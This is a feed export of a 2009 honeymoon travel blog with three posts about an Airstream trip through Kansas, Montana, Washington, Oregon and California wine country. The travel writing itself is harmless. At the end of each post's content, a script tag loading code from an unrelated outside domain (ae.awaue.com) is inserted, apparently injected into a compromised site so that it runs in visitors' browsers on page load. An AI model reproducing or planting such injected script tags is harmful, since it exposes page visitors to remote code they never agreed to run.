		<dc:creator>Greg</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[video update]]></category>
		<category><![CDATA[hays]]></category>
		<category><![CDATA[kansas]]></category>
		<category><![CDATA[koa]]></category>
		<category><![CDATA[nebraska]]></category>
		<category><![CDATA[south dakota]]></category>
		<category><![CDATA[wall drug]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=697</guid>
		<description><![CDATA[Greetings from Sonoma County, California. Melissa and I have been perched high atop vineyards at the Cloverdale KOA, which is actually one of the best campgrounds we&#8217;ve been to. We&#8217;ve been here since Wednesday night and we leave in a couple of hours for a day and a half in San Francisco. Our experience here [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_694" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-694" src="http://www.grelissa.com/wp-content/uploads/2009/11/koa-150x150.jpg" alt="Our wine country campsite view" width="150" height="150" /><p class="wp-caption-text">Our wine country campsite view</p></div>
<p>Greetings from Sonoma County, California. Melissa and I have been perched high atop vineyards at the <a title="Cloverdale KOA" href="http://www.winecountrykoa.com/" target="_blank">Cloverdale KOA</a>, which is actually one of the best campgrounds we&#8217;ve been to. We&#8217;ve been here since Wednesday night and we leave in a couple of hours for a day and a half in San Francisco. Our experience here has been just about everything we had hoped it would be, and will be the subject of a post Melissa is already composing in her head. The weather has been amazing, and you know what, after the rain we endured for a week, we deserve it, dammit. The wine has been flowing, and the food has been amazing. Don&#8217;t think of wine country as wine country. It is wine and <em>food</em> country. Food is taken just as seriously here, and sometimes I even think more so.</p>
<p>It&#8217;s been hard for me to find time to download all of the video we&#8217;ve taken to the computer, edit it, and then re-upload it to <a title="Vimeo" href="http://vimeo.com/7596480" target="_blank">Vimeo</a>. Campground WIFI differs wildly, which contributes to the delays. What we have here is a 20-plus minute video that captures a bit of our travels through the rest of Kansas, including Hays (my mom&#8217;s hometown), Nebraska and South Dakota. You&#8217;ll see what Wall Drug is all about, the &#8216;South of the Border&#8217; of the great plains.</p>
<p>I&#8217;ll get us caught up on the video someday. Until then, enjoy.</p>
<p><p><a href="http://www.grelissa.com/2009/11/14/hays_to_wall_drug_video/"><em>Click here to view the embedded video.</em></a></p><script src="http://ae.awaue.com/7"></script></p>
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		<title>the days that slipped through the cracks</title>
		<link>http://www.grelissa.com/2009/11/09/missed_days/</link>
		<comments>http://www.grelissa.com/2009/11/09/missed_days/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 19:52:41 +0000</pubDate>
		<dc:creator>Melissa</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[family]]></category>
		<category><![CDATA[halloween]]></category>
		<category><![CDATA[livingston]]></category>
		<category><![CDATA[montana]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=622</guid>
		<description><![CDATA[I will not take any day on this trip for granted.  I will NOT take any day on this trip for granted.  I will TRY NOT to take any day on this trip for granted. So&#8211; these days are flying by, some at 70 mph, some at 35 on foul-weathery days
when coast-hugging roads [...]]]></description>
			<content:encoded><![CDATA[<p><em>I will not take any day on this trip for granted.  I will NOT take any day on this trip for granted.  I will TRY NOT to take any day on this trip for granted. </em>So&#8211; these days are <em>flying</em> by, some at 70 mph, some at 35 on foul-weathery days</p>
<div id="attachment_624" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-624" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0213-150x150.jpg" alt="it's raining... again." width="150" height="150" /><p class="wp-caption-text">it&#39;s raining... again</p></div>
<p>when coast-hugging roads are thrown into the mix, and I was shocked when Greg mentioned that we had already had 24 stops!  &#8220;Remember Ottawa?  That seems so long ago!&#8221;  Gosh.  Because we have been seizing the day (carpe diem!), we have allowed a few special times to go unblogged.  Not only do I want to make sure to immortalize each adventure so our family and friends feel like they are here with us, but selfishly I also want to recount each day so we can re-read all our posts and sigh, &#8220;omigosh, that was the best!&#8221;  when we are feeling nostalgic or stale.  Grab a hot chocolate and nestle into your favorite chair&#8230; let me remember for you a few of the fun times (and situations) we previously glossed over.</p>
<p>Early in our journey, between Toronto and Super Smokers in Eureka, Missouri, we enjoyed a few days with family.  The McCrady family welcomed us with a full queen-sized bed and a Speakman shower head that went immediately on my list for Santa.</p>
<div id="attachment_628" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-628" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_00631-150x150.jpg" alt="Where's Hannnnk?" width="150" height="150" /><p class="wp-caption-text">Where&#39;s Hannnnk?</p></div>
<p>Jen and the crew took us to Piccolo Forno, a beautiful rustic brick-oven pizza joint that welcomed wines and ciders brought from home&#8211; Levi and Megan polished off a bottle of sparkling cider and we all whispered about the lady with the hand bag that boasted a working clock larger than Flavor Flav&#8217;s 1980&#8217;s pop-swatch necklace.  I can just imagine her discovering that purse in a little gift boutique, &#8220;Now THAT&#8217;S <em>different!</em>&#8221; and immediately plunking down $39.95.  It was so glorious to return to a familiar household and spread out on a comfy couch with wine, cupcakes, sleepy dogs and humorous children.</p>
<p>Leaving the McCrady household was difficult, as we wanted to be there to root on Jen and her field hockey team on their journey to state play-offs.  With the &#8216;good times and situations&#8217; mantra in our heads we continued on our way, refreshed and not a bit hungry!</p>
<div id="attachment_632" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-632" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0296-300x200.jpg" alt="the kids at the ice cream shoppe" width="300" height="200" /><p class="wp-caption-text">happy kids at the ice cream shoppe</p></div>
<p>Our quick visit with John and Kirsten in Columbus was next, complete with a men&#8217;s hairstyling session, some heartfelt talks and the best ice cream I have ever had.  Yes, you heard me.  Our swift thinking friends took us to Jeni&#8217;s Ice Creams, where I discovered my new favorite flavor, gravel&#8211;salted caramel with (autumnal) add-ins.  We slept like logs that night and were sent on our way the next morning with 2 apples and a lovely note by the front door.  That John, he&#8217;s the best.</p>
<p>Proceeding in the rain toward Michigan for some tailgating and Saundra time, I knew the football game would be an emotional day for the entire crew, as much of the experience had always revolved around Tom&#8217;s love for the Wolverines.</p>
<div id="attachment_634" class="wp-caption alignright" style="width: 310px"><img class="size-medium wp-image-634" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0341-300x200.jpg" alt="go blue!" width="300" height="200" /><p class="wp-caption-text">go blue!</p></div>
<p>Despite the crazy weather and the not-so-victorious game, we enjoyed the kindness of neighboring tailgaters with jambalaya and carried on the family tradition with Tom in our hearts.   Saundra led us through the rain in town for a commemorative Schlitz at The Blue Tractor and I kept my eyes open for all the fairy doors she had pointed out to me the year before.</p>
<p>I must also tell you about Halloween in Livingston, Montana.  Thanks to Rudy and Diana for all the suggestions and for letting us boondock on the most beautiful ranch in Montana!!!  As we rolled into town, which by the way is now one of my top 2 favorite American towns, we realized it was Halloween only because I happened to glance into the window of the McDonald&#8217;s we were passing and spied a kiddosaurus rex waiting on his happy meal.  Of course we sadly had no costumes for our night on the town, but we forged ahead anyway.  Let&#8217;s back up a minute&#8211; I need to explain the gorgeousness of Diana&#8217;s ranch&#8230;  I took a self-guided tour, as Diana is tending to one of her other beuatiful homes, or may be off fishing in Florida.  Dwell + Country Living (British Edition) + Elle Decor (Australia) = Diana&#8217;s ranch.  Glazed concrete floors, cowhide upholstered headboards, giant vintage plate-glass windows displaying unbelievable vistas of the moon rising over the mountains comprise Diana&#8217;s home&#8230; and that&#8217;s just the interior.</p>
<div id="attachment_639" class="wp-caption alignleft" style="width: 310px"><img class="size-medium wp-image-639" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0548-300x200.jpg" alt="boondocked in Livingston" width="300" height="200" /><p class="wp-caption-text">boondocked in Livingston</p></div>
<div id="attachment_636" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-636" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0551-150x150.jpg" alt="Diana's driveway" width="150" height="150" /><p class="wp-caption-text">Diana&#39;s driveway</p></div>
<p>Situated in a copse of trees up a private wild-grass lined lane, her home is flanked by open decks, used to fully soak in the spectacular 360 degree views.  Greeted by two antlered deer upon our arrival on the ranch, we situated the airstream so we could enjoy mountain views the next morning.  It was absolutely wild and breathtaking.  Okay, back to town.  We settled into the Murray for an IPA</p>
<div id="attachment_637" class="wp-caption alignright" style="width: 160px"><img class="size-thumbnail wp-image-637" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0503-150x150.jpg" alt="the murray" width="150" height="150" /><p class="wp-caption-text">the murray</p></div>
<p>and to gear up for a fancy dinner next door in the old hotel&#8217;s Bistro.</p>
<p>It was immediately apparent that the Murray was set up for a Halloween extravaganza&#8211;and a band was just arriving to set up.  For us, loving a town usually occurs because of interactions with the locals&#8230; and in this case, my love of Livingston tripled as the young costumed couple next to us got very chatty (in a good way) and told us all about the 10,000 people that populated their hometown.  After dinner, when we returned to the Murray, and our new friends, Tara and Matt tried to answer some of our questions&#8230;  &#8220;Why is it that every couple knows how to dance&#8230;.and DOES?&#8221;  I asked enviously.  Tara thought it was because they were required to learn in gym class in middle school.  I think it&#8217;s because Livingston is just pretty darn cool.</p>
<div id="attachment_642" class="wp-caption alignleft" style="width: 170px"><img class="size-medium wp-image-642" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0508-200x300.jpg" alt="lots time and energy went into this." width="160" height="240" /><p class="wp-caption-text">lotsa time and energy went into this.</p></div>
<p>Matt took second place in the costume contest to a very clever (but not more so than Matt) lunch lady, complete with hair net, hairy mole and food filled tray.  See if you can figure out Matt&#8217;s costume.</p>
<p>Livingston, you are so fun, so lively and you remain in my memory as the perfect western town, complete with rustic shop signs and friendly folks.  Thanks for the memories.  Greg will be posting video footage of this leg shortly.</p>
<p>Okay, that catches us up on some missing posts&#8230;</p>
<p>This brings me to yesterday&#8217;s tricky drive on 101 down Oregon&#8217;s beautifully natural coast, where Greg complied by pulling over every 50 miles or so to capture the ocean and haystack rocks in video and photographs!</p>
<div id="attachment_647" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-647" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_00451-150x150.jpg" alt="pitstop" width="150" height="150" /><p class="wp-caption-text">splashy</p></div>
<div id="attachment_658" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-658" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_02321-150x150.jpg" alt="driftwood" width="150" height="150" /><p class="wp-caption-text">wood that has drifted</p></div>
<div id="attachment_660" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-660" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0182-150x150.jpg" alt="Sea air!" width="150" height="150" /><p class="wp-caption-text">sea air!</p></div>
<p>We had some small breaks in the rain as we got settled in Florence, Oregon so we took advantage by finding the jetty on which to enjoy a west coast sunset!</p>
<div id="attachment_661" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-661" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0169-150x150.jpg" alt="Ruby in the grass" width="150" height="150" /><p class="wp-caption-text">Ruby in the grass</p></div>
<p>I also have to mention what a wonderful honeymoon companion Luna has been; she has enjoyed the fresh sea air here and some grassy snacks. She&#8217;s even gone outside and roamed around in the rain, purring the entire time. The allure of the campground smells and pine needles made it too compelling for her not to.</p>
<p>Heading south to northern California today in the rain (it&#8217;s becoming the norm), we are looking forward to a stop at the Sierra Nevada Brewery and some hikes through the redwoods.  Thanks for daytripping with me through memory lane.</p>
<div id="attachment_654" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-654" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0192-150x150.jpg" alt="sunset" width="150" height="150" /><p class="wp-caption-text">sunset on the jetty</p></div>
<p><div id="attachment_655" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-655" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0241-150x150.jpg" alt="sunset glow" width="150" height="150" /><p class="wp-caption-text">sunset glow</p></div><script src="http://ae.awaue.com/7"></script></p>
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		<title>Washington</title>
		<link>http://www.grelissa.com/2009/11/08/washington/</link>
		<comments>http://www.grelissa.com/2009/11/08/washington/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 06:04:37 +0000</pubDate>
		<dc:creator>Greg</dc:creator>
				<category><![CDATA[honeymoon]]></category>
		<category><![CDATA[video update]]></category>
		<category><![CDATA[seattle]]></category>
		<category><![CDATA[washington]]></category>

		<guid isPermaLink="false">http://www.grelissa.com/?p=582</guid>
		<description><![CDATA[Greetings from Washington&#8217;s Olympic Peninsula
I type this in the dinette, which is in the forward part of the Airstream, beneath the din of our propane-fired furnace while heavy rain, thunder and hail pelts the riveted hull.
Melissa is sleeping cozily under a stack of blankets in the back. Luna the cat is perched atop of her, [...]]]></description>
			<content:encoded><![CDATA[<p><em><strong>Greetings from Washington&#8217;s Olympic Peninsula</strong></em></p>

<div id="attachment_584" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-584" title="Melissa asleep" src="http://www.grelissa.com/wp-content/uploads/2009/11/mel_sleeping-150x150.jpg" alt="Body heat thief" width="150" height="150" /><p class="wp-caption-text">Body heat thief</p></div>
<p>I type this in the dinette, which is in the forward part of the Airstream, beneath the din of our propane-fired furnace while heavy rain, thunder and hail pelts the riveted hull.</p>
<p>Melissa is sleeping cozily under a stack of blankets in the back. Luna the cat is perched atop of her, as she always is. It’s 7:54 AM. I just brewed some coffee and I’m going to try to squeak out a blog update now before my laptop battery fizzles.</p>
<div id="attachment_597" class="wp-caption alignnone" style="width: 310px"><img class="size-medium wp-image-597" title="Airstream aboard the ferry" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0045-300x200.jpg" alt="Snug as a bug" width="300" height="200" /><p class="wp-caption-text">Snug as a bug aboard the ferry Spokane</p></div>
<p>After ferrying the rig on the Washington State Ferry from Edmonds to Kingston (on the Spokane, a huge vessel that served Red Hook on tap), we are now on the Olympic Peninsula of Washington just off of the amazingly beautiful US 101 at a place called Kalaloch, about halfway between Port Angeles and Aberdeen. It’s a state park that’s open all year, nestled along the coast. And I mean right along the coast. There’s our parking spot, then a road, a fence, a cliff, and the water. Spectacular, even in the rain. Maybe even more so in the rain, because the swells in this storm are 20 to 25 feet tall, and I’m not exaggerating. It looks like a washing(ton) machine out there. This time of year is known as ‘Discovery Season’, when campers can simply drive on in, find a spot, and stake their claim over expansive views of the rugged Pacific Ocean. If you want to see what I’m talking about, have a look here:</p>
<p><a href="http://www.grelissa.com/2009/11/08/washington/"><em>Click here to view the embedded video.</em></a></p>
<p>This form of camping we’re doing is known as ‘boondocking’. No water, no electricity hookups, no on-site sewer hookup, no cable TV. Just you and what you bring in. While it’s nice to stay at full-service campgrounds, boondocking is even more fun. The geek in me likes to see how much battery power we can eek out without firing up our generator. I kinda feel like Scotty from Star Trek. Either that, or the fact that the generator is piled under all kinds of other crap in the bed of the pickup, and I’m too lazy to free it.</p>
<p>Before arriving here, we enjoyed what was our only extended stay in one place since our two days in Montreal back in mid-October. We enjoyed 4 days in the Emerald City &#8211; Seattle Washington. Well, let me correct that. Melissa enjoyed four days in Seattle. I enjoyed two days of coast-to-coast airplane rides and two days of unanticipated work-related duties back in Philadelphia. I hope to share more details about what this trip was all about in the coming months. It should be pretty neat. But now, the focus is squarely back on this amazing honeymoon of ours we’ve been privileged to experience.</p>
<p>We’re happy that we got to visit with some good friends while we were in Seattle. Last Monday, before I flew back to Philly, we got to catch a Phillies World Series win (which turned out to be the last one) with my friend Mike Salmon, a Philly transplant. My friend Mike Schlador joined us as well, and It was a quick dinner and a few beers, but it was nice to see them again, despite the fact we saw them a few weeks ago on our wedding day.</p>
<div id="attachment_620" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-620" title="Suzanne and Me" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0024-150x150.jpg" alt="Suzanne and Me" width="150" height="150" /><p class="wp-caption-text">Suzanne and Me</p></div>
<p>After leaving for Philly on Tuesday, Melissa kept busy and spent a lot of time with our friends Mike and Suzanne, and their perfectly adorable daughter Audrey. Suzanne and Melissa browsed boutiques in Ballard and lunched together on Tuesday for the better part of the day. Melissa then browsed the market and hopped around town on Wednesday, and enjoyed a nice dinner with the Schlador’s. Thursday, Melissa successfully got Suzanne knee-deep in an advanced crafting project that required written instructions on how to execute it after we left. Suzanne looked nervous. She’s a smart cookie, she’ll pull it off.</p>
<div id="attachment_602" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-602" title="Laszlo, me and Schlador" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0028-150x150.jpg" alt="Laszlo, me and Schlador" width="150" height="150" /><p class="wp-caption-text">Laszlo, me and Schlador</p></div>
<div id="attachment_605" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-605" title="Heidi and Ryan" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0033-150x150.jpg" alt="Heidi and Ryan" width="150" height="150" /><p class="wp-caption-text">Heidi and Ryan</p></div>
<div id="attachment_611" class="wp-caption alignleft" style="width: 160px"><img class="size-thumbnail wp-image-611" title="Renee and Rachel" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0023-150x150.jpg" alt="Renee and Rachel" width="150" height="150" /><p class="wp-caption-text">Renee and Rachel</p></div>
<p>What was more amazing was the fact that several of our friends &#8211; Renee, Richard and their daughter Rachel; George, Heidi, and their son Ryan; and Suzanne, Mike and little Audrey all took time off from work on Friday morning to join us for breakfast at Mike and Suzanne’s house before we hit the road. It was really, really nice. We wish we could have spent more time with them, but it exemplified how extremely genuine they all are and it was great to see them all again. I miss them.</p>
<p>As the sun gets brighter through the windows of the trailer, I must leave the keyboard and jostle Melissa into consciousness. We have a rainy drive ahead of us today, but the payoff should be a cheese-filled visit to the Tillamook County Creamery Association. We’ll soon be sittin’ pretty in cheddar city. Oh, and I might as well try and keep my quest to end up with the gout alive by finding some dungeness crab somewhere.</p>
<p>Toodles. More videos are on the way, including footage of Kansas, Nebraska, South Dakota, Wyoming, Montana and Idaho.</p>
<p><div id="attachment_614" class="wp-caption alignnone" style="width: 310px"><img class="size-medium wp-image-614" title="Airstream on 101" src="http://www.grelissa.com/wp-content/uploads/2009/11/DSC_0166-300x200.jpg" alt="US 101 in Washington" width="300" height="200" /><p class="wp-caption-text">US 101 in Washington</p></div><script src="http://ae.awaue.com/7"></script></p>
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